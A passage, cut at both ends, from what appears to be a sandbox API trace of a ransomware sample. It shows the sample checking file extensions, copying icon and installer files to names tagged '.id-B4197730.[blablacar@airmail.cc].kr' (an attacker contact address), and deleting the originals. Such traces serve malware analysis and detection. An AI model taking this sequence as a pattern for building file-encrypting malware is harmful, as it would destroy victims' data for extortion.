(lpString=".doc") returned 4 [0088.982] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0088.982] lstrlenW (lpString=".docx") returned 5 [0088.982] lstrcmpiW (lpString1=".docx", lpString2="6.ico") returned -1 [0088.982] lstrlenW (lpString=".pdf") returned 4 [0088.982] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0088.982] lstrlenW (lpString=".xls") returned 4 [0088.982] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0088.982] lstrlenW (lpString=".xlsx") returned 5 [0088.982] lstrcmpiW (lpString1=".xlsx", lpString2="6.ico") returned -1 [0088.982] lstrlenW (lpString=".ppt") returned 4 [0088.982] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0088.982] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0088.982] lstrlenW (lpString=".zip") returned 4 [0088.982] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0088.983] lstrlenW (lpString=".rar") returned 4 [0088.983] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0088.983] lstrlenW (lpString=".bz2") returned 4 [0088.983] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0088.983] lstrlenW (lpString=".7z") returned 3 [0088.983] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0088.983] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0088.983] lstrlenW (lpString=".dbf") returned 4 [0088.983] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0088.983] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0088.983] lstrlenW (lpString=".1cd") returned 4 [0088.983] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0088.983] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0088.983] lstrlenW (lpString=".jpg") returned 4 [0088.983] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0088.983] lstrcmpiW (lpString1=".ico", lpString2=".kr") returned -1 [0088.983] lstrlenW (lpString="Rotate7.ico") returned 11 [0088.983] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0088.983] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=894) returned 1 [0088.983] CloseHandle (hObject=0x340) returned 1 [0088.984] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico")) returned 0x80 [0088.984] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0088.984] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0088.984] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0088.984] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0088.984] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0088.984] GetLastError () returned 0x0 [0088.984] ReadFile (in: hFile=0x340, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x37e, lpOverlapped=0x0) returned 1 [0088.986] WriteFile (in: hFile=0x2b4, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x380, lpOverlapped=0x0) returned 1 [0088.987] ReadFile (in: hFile=0x340, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0088.987] WriteFile (in: hFile=0x2b4, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0xea, lpOverlapped=0x0) returned 1 [0088.987] SetEndOfFile (hFile=0x2b4) returned 1 [0088.987] CloseHandle (hObject=0x2b4) returned 1 [0088.988] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0088.988] SetEndOfFile (hFile=0x340) returned 1 [0088.989] CloseHandle (hObject=0x340) returned 1 [0088.989] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0088.989] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico")) returned 1 [0088.989] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0088.989] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0088.989] lstrlenW (lpString=".doc") returned 4 [0088.989] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0088.989] lstrlenW (lpString=".docx") returned 5 [0088.989] lstrcmpiW (lpString1=".docx", lpString2="7.ico") returned -1 [0088.989] lstrlenW (lpString=".pdf") returned 4 [0088.989] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0088.989] lstrlenW (lpString=".xls") returned 4 [0088.989] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0088.989] lstrlenW (lpString=".xlsx") returned 5 [0088.989] lstrcmpiW (lpString1=".xlsx", lpString2="7.ico") returned -1 [0088.989] lstrlenW (lpString=".ppt") returned 4 [0088.990] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0088.990] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0088.990] lstrlenW (lpString=".zip") returned 4 [0088.990] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0088.990] lstrlenW (lpString=".rar") returned 4 [0088.990] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0088.990] lstrlenW (lpString=".bz2") returned 4 [0088.990] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0088.990] lstrlenW (lpString=".7z") returned 3 [0088.990] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0088.990] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0088.990] lstrlenW (lpString=".dbf") returned 4 [0088.990] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0088.990] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0088.990] lstrlenW (lpString=".1cd") returned 4 [0088.990] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0088.990] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0088.990] lstrlenW (lpString=".jpg") returned 4 [0088.990] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0088.990] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0088.990] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0088.990] lstrlenW (lpString=".doc") returned 4 [0088.990] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0088.990] lstrlenW (lpString=".docx") returned 5 [0088.990] lstrcmpiW (lpString1=".docx", lpString2="7.ico") returned -1 [0088.990] lstrlenW (lpString=".pdf") returned 4 [0088.990] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0088.990] lstrlenW (lpString=".xls") returned 4 [0088.990] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0088.991] lstrlenW (lpString=".xlsx") returned 5 [0088.991] lstrcmpiW (lpString1=".xlsx", lpString2="7.ico") returned -1 [0088.991] lstrlenW (lpString=".ppt") returned 4 [0088.991] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0088.991] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0088.991] lstrlenW (lpString=".zip") returned 4 [0088.991] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0088.991] lstrlenW (lpString=".rar") returned 4 [0088.991] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0088.991] lstrlenW (lpString=".bz2") returned 4 [0088.991] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0088.991] lstrlenW (lpString=".7z") returned 3 [0088.991] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0088.991] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0088.991] lstrlenW (lpString=".dbf") returned 4 [0088.991] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0088.991] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0088.991] lstrlenW (lpString=".1cd") returned 4 [0088.991] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0088.991] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0088.991] lstrlenW (lpString=".jpg") returned 4 [0088.992] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0088.992] lstrcmpiW (lpString1=".ico", lpString2=".kr") returned -1 [0088.992] lstrlenW (lpString="Rotate8.ico") returned 11 [0088.992] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0088.992] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=894) returned 1 [0088.992] CloseHandle (hObject=0x340) returned 1 [0088.993] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico")) returned 0x80 [0088.993] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0088.993] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0088.993] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0088.993] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0088.993] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0088.993] GetLastError () returned 0x0 [0088.993] ReadFile (in: hFile=0x340, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x37e, lpOverlapped=0x0) returned 1 [0088.996] WriteFile (in: hFile=0x2b4, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x380, lpOverlapped=0x0) returned 1 [0088.997] ReadFile (in: hFile=0x340, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0088.997] WriteFile (in: hFile=0x2b4, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0xea, lpOverlapped=0x0) returned 1 [0088.997] SetEndOfFile (hFile=0x2b4) returned 1 [0089.001] CloseHandle (hObject=0x2b4) returned 1 [0089.002] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.002] SetEndOfFile (hFile=0x340) returned 1 [0089.003] CloseHandle (hObject=0x340) returned 1 [0089.003] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0089.004] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico")) returned 1 [0089.004] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0089.004] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0089.004] lstrlenW (lpString=".doc") returned 4 [0089.004] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0089.004] lstrlenW (lpString=".docx") returned 5 [0089.004] lstrcmpiW (lpString1=".docx", lpString2="8.ico") returned -1 [0089.004] lstrlenW (lpString=".pdf") returned 4 [0089.004] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0089.004] lstrlenW (lpString=".xls") returned 4 [0089.004] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0089.004] lstrlenW (lpString=".xlsx") returned 5 [0089.004] lstrcmpiW (lpString1=".xlsx", lpString2="8.ico") returned -1 [0089.004] lstrlenW (lpString=".ppt") returned 4 [0089.004] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0089.004] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0089.004] lstrlenW (lpString=".zip") returned 4 [0089.004] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0089.004] lstrlenW (lpString=".rar") returned 4 [0089.004] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0089.005] lstrlenW (lpString=".bz2") returned 4 [0089.005] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0089.005] lstrlenW (lpString=".7z") returned 3 [0089.005] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0089.005] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0089.005] lstrlenW (lpString=".dbf") returned 4 [0089.005] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0089.005] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0089.005] lstrlenW (lpString=".1cd") returned 4 [0089.005] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0089.005] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0089.005] lstrlenW (lpString=".jpg") returned 4 [0089.005] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0089.005] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0089.005] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0089.005] lstrlenW (lpString=".doc") returned 4 [0089.005] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0089.005] lstrlenW (lpString=".docx") returned 5 [0089.005] lstrcmpiW (lpString1=".docx", lpString2="8.ico") returned -1 [0089.005] lstrlenW (lpString=".pdf") returned 4 [0089.005] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0089.005] lstrlenW (lpString=".xls") returned 4 [0089.005] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0089.005] lstrlenW (lpString=".xlsx") returned 5 [0089.005] lstrcmpiW (lpString1=".xlsx", lpString2="8.ico") returned -1 [0089.005] lstrlenW (lpString=".ppt") returned 4 [0089.005] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0089.005] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0089.005] lstrlenW (lpString=".zip") returned 4 [0089.005] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0089.006] lstrlenW (lpString=".rar") returned 4 [0089.006] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0089.006] lstrlenW (lpString=".bz2") returned 4 [0089.006] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0089.006] lstrlenW (lpString=".7z") returned 3 [0089.006] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0089.006] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0089.006] lstrlenW (lpString=".dbf") returned 4 [0089.006] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0089.006] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0089.006] lstrlenW (lpString=".1cd") returned 4 [0089.006] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0089.006] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0089.006] lstrlenW (lpString=".jpg") returned 4 [0089.006] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0089.006] lstrcmpiW (lpString1=".ico", lpString2=".kr") returned -1 [0089.006] lstrlenW (lpString="Save.ico") returned 8 [0089.006] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0089.257] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=1150) returned 1 [0089.257] CloseHandle (hObject=0x34c) returned 1 [0089.257] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico")) returned 0x80 [0089.257] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0089.257] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0089.257] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.257] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.258] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0089.258] GetLastError () returned 0x0 [0089.258] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x47e, lpOverlapped=0x0) returned 1 [0089.260] WriteFile (in: hFile=0x328, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x480, lpOverlapped=0x0) returned 1 [0089.262] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0089.262] WriteFile (in: hFile=0x328, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0xe4, lpOverlapped=0x0) returned 1 [0089.262] SetEndOfFile (hFile=0x328) returned 1 [0089.262] CloseHandle (hObject=0x328) returned 1 [0089.267] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.267] SetEndOfFile (hFile=0x34c) returned 1 [0089.268] CloseHandle (hObject=0x34c) returned 1 [0089.268] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0089.269] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico")) returned 1 [0089.269] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0089.269] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0089.269] lstrlenW (lpString=".doc") returned 4 [0089.269] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0089.269] lstrlenW (lpString=".docx") returned 5 [0089.269] lstrcmpiW (lpString1=".docx", lpString2="e.ico") returned -1 [0089.269] lstrlenW (lpString=".pdf") returned 4 [0089.269] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0089.269] lstrlenW (lpString=".xls") returned 4 [0089.269] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0089.269] lstrlenW (lpString=".xlsx") returned 5 [0089.269] lstrcmpiW (lpString1=".xlsx", lpString2="e.ico") returned -1 [0089.269] lstrlenW (lpString=".ppt") returned 4 [0089.269] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0089.269] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0089.269] lstrlenW (lpString=".zip") returned 4 [0089.269] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0089.269] lstrlenW (lpString=".rar") returned 4 [0089.269] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0089.270] lstrlenW (lpString=".bz2") returned 4 [0089.270] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0089.270] lstrlenW (lpString=".7z") returned 3 [0089.270] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0089.270] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0089.270] lstrlenW (lpString=".dbf") returned 4 [0089.270] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0089.270] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0089.270] lstrlenW (lpString=".1cd") returned 4 [0089.270] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0089.270] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0089.270] lstrlenW (lpString=".jpg") returned 4 [0089.270] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0089.270] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0089.270] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0089.270] lstrlenW (lpString=".doc") returned 4 [0089.270] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0089.270] lstrlenW (lpString=".docx") returned 5 [0089.270] lstrcmpiW (lpString1=".docx", lpString2="e.ico") returned -1 [0089.270] lstrlenW (lpString=".pdf") returned 4 [0089.270] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0089.270] lstrlenW (lpString=".xls") returned 4 [0089.270] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0089.270] lstrlenW (lpString=".xlsx") returned 5 [0089.270] lstrcmpiW (lpString1=".xlsx", lpString2="e.ico") returned -1 [0089.270] lstrlenW (lpString=".ppt") returned 4 [0089.270] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0089.271] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0089.271] lstrlenW (lpString=".zip") returned 4 [0089.271] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0089.271] lstrlenW (lpString=".rar") returned 4 [0089.271] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0089.271] lstrlenW (lpString=".bz2") returned 4 [0089.271] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0089.271] lstrlenW (lpString=".7z") returned 3 [0089.271] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0089.271] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0089.271] lstrlenW (lpString=".dbf") returned 4 [0089.271] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0089.271] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0089.271] lstrlenW (lpString=".1cd") returned 4 [0089.271] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0089.271] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0089.271] lstrlenW (lpString=".jpg") returned 4 [0089.271] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0089.271] lstrcmpiW (lpString1=".msi", lpString2=".kr") returned 1 [0089.271] lstrlenW (lpString="netfx_Core_x86.msi") returned 18 [0089.272] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0089.273] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=1163264) returned 1 [0089.273] CloseHandle (hObject=0x34c) returned 1 [0089.273] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi")) returned 0x80 [0089.273] GetFileAttributesW 